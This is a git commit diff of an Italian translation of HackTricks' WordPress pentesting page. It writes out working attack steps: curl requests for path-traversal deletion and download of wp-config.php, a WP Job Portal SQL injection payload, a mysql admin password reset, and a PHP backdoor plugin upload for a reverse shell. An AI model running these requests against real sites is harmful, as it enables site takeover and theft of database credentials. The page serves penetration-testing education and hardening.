mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/wordpress.md
This commit is contained in:
parent
1ca54d78c3
commit
9a280b5f92
@ -99,7 +99,7 @@ Un altro endpoint `/wp-json/` che può rivelare alcune informazioni sugli utenti
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
```
|
||||
Nota che questo endpoint espone solo gli utenti che hanno effettuato un post. **Saranno fornite solo informazioni sugli utenti che hanno abilitato questa funzione**.
|
||||
Nota che questo endpoint espone solo gli utenti che hanno effettuato un post. **Solo le informazioni sugli utenti che hanno abilitato questa funzione saranno fornite**.
|
||||
|
||||
Nota anche che **/wp-json/wp/v2/pages** potrebbe rivelare indirizzi IP.
|
||||
|
||||
@ -134,7 +134,7 @@ Per vedere se è attivo, prova ad accedere a _**/xmlrpc.php**_ e invia questa ri
|
||||
```
|
||||
Il messaggio _"Nome utente o password errati"_ all'interno di una risposta con codice 200 dovrebbe apparire se le credenziali non sono valide.
|
||||
|
||||
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
|
||||
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
|
||||
|
||||
.png>)
|
||||
|
||||
@ -174,7 +174,7 @@ C'è anche un **modo più veloce** per forzare le credenziali utilizzando **`sys
|
||||
|
||||
**Bypass 2FA**
|
||||
|
||||
Questo metodo è destinato ai programmi e non agli esseri umani, ed è vecchio, quindi non supporta 2FA. Quindi, se hai credenziali valide ma l'ingresso principale è protetto da 2FA, **potresti essere in grado di abusare di xmlrpc.php per accedere con quelle credenziali bypassando 2FA**. Tieni presente che non sarai in grado di eseguire tutte le azioni che puoi fare tramite la console, ma potresti comunque essere in grado di arrivare a RCE come spiega Ippsec in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
Questo metodo è destinato ai programmi e non agli esseri umani, ed è obsoleto, quindi non supporta 2FA. Quindi, se hai credenziali valide ma l'ingresso principale è protetto da 2FA, **potresti essere in grado di abusare di xmlrpc.php per accedere con quelle credenziali bypassando 2FA**. Tieni presente che non sarai in grado di eseguire tutte le azioni che puoi fare tramite la console, ma potresti comunque essere in grado di arrivare a RCE come spiega Ippsec in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
|
||||
**DDoS o scansione delle porte**
|
||||
|
||||
@ -239,7 +239,7 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
|
||||
```
|
||||
## Ottieni accesso sovrascrivendo un bit
|
||||
|
||||
Più che un vero attacco, questa è una curiosità. Nella CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) puoi cambiare 1 bit di qualsiasi file wordpress. Quindi puoi cambiare la posizione `5389` del file `/var/www/html/wp-includes/user.php` per NOP l'operazione NOT (`!`).
|
||||
Più che un vero attacco, questa è una curiosità. Nella CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) puoi invertire 1 bit da qualsiasi file di wordpress. Quindi puoi invertire la posizione `5389` del file `/var/www/html/wp-includes/user.php` per NOP l'operazione NOT (`!`).
|
||||
```php
|
||||
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
||||
return new WP_Error(
|
||||
@ -269,7 +269,7 @@ to get a session.
|
||||
### PHP plugin
|
||||
|
||||
Potrebbe essere possibile caricare file .php come plugin.\
|
||||
Crea il tuo backdoor php utilizzando ad esempio:
|
||||
Crea il tuo backdoor php usando ad esempio:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -281,11 +281,11 @@ Carica il plugin e premi Installa ora:
|
||||
|
||||
.png>)
|
||||
|
||||
Clicca su Procedi:
|
||||
Clicca su Prosegui:
|
||||
|
||||
.png>)
|
||||
|
||||
Probabilmente questo non farà apparente nulla, ma se vai su Media, vedrai la tua shell caricata:
|
||||
Probabilmente questo non farà nulla apparentemente, ma se vai su Media, vedrai la tua shell caricata:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -295,7 +295,7 @@ Accedila e vedrai l'URL per eseguire la reverse shell:
|
||||
|
||||
### Uploading and activating malicious plugin
|
||||
|
||||
Questo metodo prevede l'installazione di un plugin malevolo noto per essere vulnerabile e può essere sfruttato per ottenere una web shell. Questo processo viene eseguito tramite la dashboard di WordPress come segue:
|
||||
Questo metodo prevede l'installazione di un plugin malevolo noto per essere vulnerabile e può essere sfruttato per ottenere una web shell. Questo processo viene eseguito attraverso la dashboard di WordPress come segue:
|
||||
|
||||
1. **Plugin Acquisition**: Il plugin viene ottenuto da una fonte come Exploit DB come [**qui**](https://www.exploit-db.com/exploits/36374).
|
||||
2. **Plugin Installation**:
|
||||
@ -307,18 +307,18 @@ Questo metodo prevede l'installazione di un plugin malevolo noto per essere vuln
|
||||
- Il framework Metasploit fornisce un exploit per questa vulnerabilità. Caricando il modulo appropriato ed eseguendo comandi specifici, può essere stabilita una sessione meterpreter, concedendo accesso non autorizzato al sito.
|
||||
- Si nota che questo è solo uno dei molti metodi per sfruttare un sito WordPress.
|
||||
|
||||
Il contenuto include ausili visivi che mostrano i passaggi nella dashboard di WordPress per installare e attivare il plugin. Tuttavia, è importante notare che sfruttare vulnerabilità in questo modo è illegale e non etico senza la dovuta autorizzazione. Queste informazioni dovrebbero essere utilizzate responsabilmente e solo in un contesto legale, come il penetration testing con esplicita autorizzazione.
|
||||
Il contenuto include ausili visivi che mostrano i passaggi nella dashboard di WordPress per installare e attivare il plugin. Tuttavia, è importante notare che sfruttare vulnerabilità in questo modo è illegale e non etico senza la dovuta autorizzazione. Queste informazioni dovrebbero essere utilizzate responsabilmente e solo in un contesto legale, come il penetration testing con permesso esplicito.
|
||||
|
||||
**Per passaggi più dettagliati controlla:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
|
||||
## From XSS to RCE
|
||||
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ è uno script progettato per elevare una vulnerabilità di **Cross-Site Scripting (XSS)** a **Remote Code Execution (RCE)** o altre vulnerabilità critiche in WordPress. Per ulteriori informazioni controlla [**questo post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Fornisce **supporto per le versioni di Wordpress 6.X.X, 5.X.X e 4.X.X e consente di:**
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ è uno script progettato per elevare una **vulnerabilità Cross-Site Scripting (XSS)** a **Remote Code Execution (RCE)** o altre vulnerabilità critiche in WordPress. Per maggiori informazioni controlla [**questo post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Fornisce **supporto per le versioni di Wordpress 6.X.X, 5.X.X e 4.X.X e consente di:**
|
||||
- _**Privilege Escalation:**_ Crea un utente in WordPress.
|
||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Carica il tuo plugin personalizzato (backdoor) in WordPress.
|
||||
- _**(RCE) Built-In Plugin Edit:**_ Modifica un plugin integrato in WordPress.
|
||||
- _**(RCE) Built-In Theme Edit:**_ Modifica un tema integrato in WordPress.
|
||||
- _**(Custom) Custom Exploits:**_ Exploits personalizzati per plugin/temi di terze parti di WordPress.
|
||||
- _**(Custom) Custom Exploits:**_ Exploit personalizzati per plugin/temi di terze parti di WordPress.
|
||||
|
||||
## Post Exploitation
|
||||
|
||||
@ -330,15 +330,15 @@ Cambia la password dell'amministratore:
|
||||
```bash
|
||||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
|
||||
```
|
||||
## Wordpress Plugins Pentest
|
||||
## Pentest dei Plugin di Wordpress
|
||||
|
||||
### Attack Surface
|
||||
### Superficie di Attacco
|
||||
|
||||
Conoscere come un plugin di Wordpress può esporre funzionalità è fondamentale per trovare vulnerabilità nella sua funzionalità. Puoi trovare come un plugin potrebbe esporre funzionalità nei seguenti punti e alcuni esempi di plugin vulnerabili in [**questo post del blog**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||||
Conoscere come un plugin di Wordpress può esporre funzionalità è fondamentale per trovare vulnerabilità nelle sue funzionalità. Puoi trovare come un plugin potrebbe esporre funzionalità nei seguenti punti e alcuni esempi di plugin vulnerabili in [**questo post del blog**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||||
|
||||
- **`wp_ajax`**
|
||||
|
||||
Uno dei modi in cui un plugin può esporre funzioni agli utenti è tramite i gestori AJAX. Questi potrebbero contenere bug di logica, autorizzazione o autenticazione. Inoltre, è piuttosto frequente che queste funzioni basino sia l'autenticazione che l'autorizzazione sull'esistenza di un nonce di Wordpress che **qualsiasi utente autenticato nell'istanza di Wordpress potrebbe avere** (indipendentemente dal suo ruolo).
|
||||
Uno dei modi in cui un plugin può esporre funzioni agli utenti è tramite i gestori AJAX. Questi potrebbero contenere bug di logica, autorizzazione o autenticazione. Inoltre, è piuttosto frequente che queste funzioni basino sia l'autenticazione che l'autorizzazione sull'esistenza di un nonce di wordpress che **qualsiasi utente autenticato nell'istanza di Wordpress potrebbe avere** (indipendentemente dal suo ruolo).
|
||||
|
||||
Queste sono le funzioni che possono essere utilizzate per esporre una funzione in un plugin:
|
||||
```php
|
||||
@ -411,7 +411,7 @@ curl -X POST https://victim.com/wp-admin/admin-ajax.php \
|
||||
-d 'action=litho_remove_font_family_action_data' \
|
||||
-d 'fontfamily=../../../../wp-config.php'
|
||||
```
|
||||
Perché `wp-config.php` si trova al di fuori di *uploads*, quattro sequenze di `../` sono sufficienti su un'installazione predefinita. Eliminare `wp-config.php` costringe WordPress a entrare nel *wizard di installazione* alla visita successiva, consentendo un completo takeover del sito (l'attaccante fornisce semplicemente una nuova configurazione del DB e crea un utente admin).
|
||||
Perché `wp-config.php` si trova al di fuori di *uploads*, quattro sequenze di `../` sono sufficienti su un'installazione predefinita. Cancellare `wp-config.php` costringe WordPress a entrare nel *wizard di installazione* alla visita successiva, consentendo un completo takeover del sito (l'attaccante fornisce semplicemente una nuova configurazione del DB e crea un utente admin).
|
||||
|
||||
Altri obiettivi impattanti includono file `.php` di plugin/tema (per compromettere i plugin di sicurezza) o regole `.htaccess`.
|
||||
|
||||
@ -448,7 +448,7 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
|
||||
|
||||
## Protezione di WordPress
|
||||
|
||||
### Aggiornamenti Regolari
|
||||
### Aggiornamenti regolari
|
||||
|
||||
Assicurati che WordPress, i plugin e i temi siano aggiornati. Conferma inoltre che l'aggiornamento automatico sia abilitato in wp-config.php:
|
||||
```bash
|
||||
@ -456,7 +456,7 @@ define( 'WP_AUTO_UPDATE_CORE', true );
|
||||
add_filter( 'auto_update_plugin', '__return_true' );
|
||||
add_filter( 'auto_update_theme', '__return_true' );
|
||||
```
|
||||
Anche, **installa solo plugin e temi WordPress affidabili**.
|
||||
Also, **installa solo plugin e temi WordPress affidabili**.
|
||||
|
||||
### Plugin di Sicurezza
|
||||
|
||||
@ -468,12 +468,70 @@ Anche, **installa solo plugin e temi WordPress affidabili**.
|
||||
|
||||
- Rimuovi l'utente **admin** predefinito
|
||||
- Usa **password forti** e **2FA**
|
||||
- **Rivedi** periodicamente i **permessi** degli utenti
|
||||
- **Rivedi** periodicamente i permessi degli utenti
|
||||
- **Limita i tentativi di accesso** per prevenire attacchi di Brute Force
|
||||
- Rinomina il file **`wp-admin.php`** e consenti l'accesso solo internamente o da determinati indirizzi IP.
|
||||
|
||||
|
||||
### SQL Injection non autenticata tramite validazione insufficiente (WP Job Portal <= 2.3.2)
|
||||
|
||||
Il plugin di reclutamento WP Job Portal ha esposto un'attività **savecategory** che alla fine esegue il seguente codice vulnerabile all'interno di `modules/category/model.php::validateFormData()`:
|
||||
```php
|
||||
$category = WPJOBPORTALrequest::getVar('parentid');
|
||||
$inquery = ' ';
|
||||
if ($category) {
|
||||
$inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
|
||||
}
|
||||
$query = "SELECT max(ordering)+1 AS maxordering FROM "
|
||||
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
|
||||
```
|
||||
Problemi introdotti da questo frammento:
|
||||
|
||||
1. **Input utente non sanitizzato** – `parentid` proviene direttamente dalla richiesta HTTP.
|
||||
2. **Concatenazione di stringhe all'interno della clausola WHERE** – nessun `is_numeric()` / `esc_sql()` / dichiarazione preparata.
|
||||
3. **Accessibilità non autenticata** – anche se l'azione viene eseguita tramite `admin-post.php`, l'unico controllo presente è un **nonce CSRF** (`wp_verify_nonce()`), che qualsiasi visitatore può recuperare da una pagina pubblica che incorpora lo shortcode `[wpjobportal_my_resumes]`.
|
||||
|
||||
#### Sfruttamento
|
||||
|
||||
1. Ottieni un nonce fresco:
|
||||
```bash
|
||||
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
|
||||
```
|
||||
2. Inietta SQL arbitrario abusando di `parentid`:
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
-d 'task=savecategory' \
|
||||
-d '_wpnonce=<nonce>' \
|
||||
-d 'parentid=0 OR 1=1-- -' \
|
||||
-d 'cat_title=pwn' -d 'id='
|
||||
```
|
||||
La risposta rivela il risultato della query iniettata o altera il database, dimostrando SQLi.
|
||||
|
||||
|
||||
### Download di file arbitrari non autenticati / Traversata di percorso (WP Job Portal <= 2.3.2)
|
||||
|
||||
Un'altra attività, **downloadcustomfile**, consentiva ai visitatori di scaricare **qualsiasi file su disco** tramite traversata di percorso. Il sink vulnerabile si trova in `modules/customfield/model.php::downloadCustomUploadedFile()`:
|
||||
```php
|
||||
$file = $path . '/' . $file_name;
|
||||
...
|
||||
echo $wp_filesystem->get_contents($file); // raw file output
|
||||
```
|
||||
`$file_name` è controllato dall'attaccante e concatenato **senza sanificazione**. Ancora una volta, l'unico ostacolo è un **CSRF nonce** che può essere recuperato dalla pagina del curriculum.
|
||||
|
||||
#### Sfruttamento
|
||||
```bash
|
||||
curl -G https://victim.com/wp-admin/admin-post.php \
|
||||
--data-urlencode 'task=downloadcustomfile' \
|
||||
--data-urlencode '_wpnonce=<nonce>' \
|
||||
--data-urlencode 'upload_for=resume' \
|
||||
--data-urlencode 'entity_id=1' \
|
||||
--data-urlencode 'file_name=../../../wp-config.php'
|
||||
```
|
||||
Il server risponde con i contenuti di `wp-config.php`, rivelando le credenziali del DB e le chiavi di autenticazione.
|
||||
|
||||
## Riferimenti
|
||||
|
||||
- [Vulnerabilità di Cancellazione Arbitraria di File Non Autenticata nel Tema Litho](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
|
||||
- [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -84,7 +84,7 @@ Non troverai HackTricks pieno di pubblicità fastidiose come altri blog con molt
|
||||
>
|
||||
> - **Cosa devo fare se qualche pagina di HackTricks è basata sul mio post del blog ma non è citata?**
|
||||
|
||||
**Ci dispiace molto. Questo non avrebbe dovuto accadere**. Per favore, facci sapere tramite Github issues, Twitter, Discord... il link della pagina di HackTricks con il contenuto e il link del tuo blog e **verificheremo e aggiungeremo ASAP**.
|
||||
**Ci dispiace molto. Questo non avrebbe dovuto accadere**. Per favore, facci sapere tramite Github issues, Twitter, Discord... il link della pagina di HackTricks con il contenuto e il link del tuo blog e **verificheremo e aggiungeremo il prima possibile**.
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
@ -116,7 +116,7 @@ Copyright © Tutti i diritti riservati, salvo diversa indicazione.
|
||||
|
||||
#### Termini Aggiuntivi:
|
||||
|
||||
- Contenuto di Terzi: Alcune parti di questo blog/libro possono includere contenuti di altre fonti, come estratti di altri blog o pubblicazioni. L'uso di tali contenuti avviene secondo i principi di uso equo o con esplicita autorizzazione dai rispettivi titolari dei diritti d'autore. Si prega di fare riferimento alle fonti originali per informazioni specifiche sulla licenza riguardante i contenuti di terzi.
|
||||
- Contenuto di Terze Parti: Alcune parti di questo blog/libro possono includere contenuti di altre fonti, come estratti di altri blog o pubblicazioni. L'uso di tali contenuti avviene secondo i principi di uso equo o con esplicita autorizzazione dai rispettivi titolari dei diritti d'autore. Si prega di fare riferimento alle fonti originali per informazioni specifiche sulla licenza riguardante i contenuti di terze parti.
|
||||
- Autorialità: Il contenuto originale redatto da HackTricks è soggetto ai termini di questa licenza. Ti incoraggiamo ad attribuire questo lavoro all'autore quando lo condividi o lo adatti.
|
||||
|
||||
#### Esenzioni:
|
||||
|
Loading…
x
Reference in New Issue
Block a user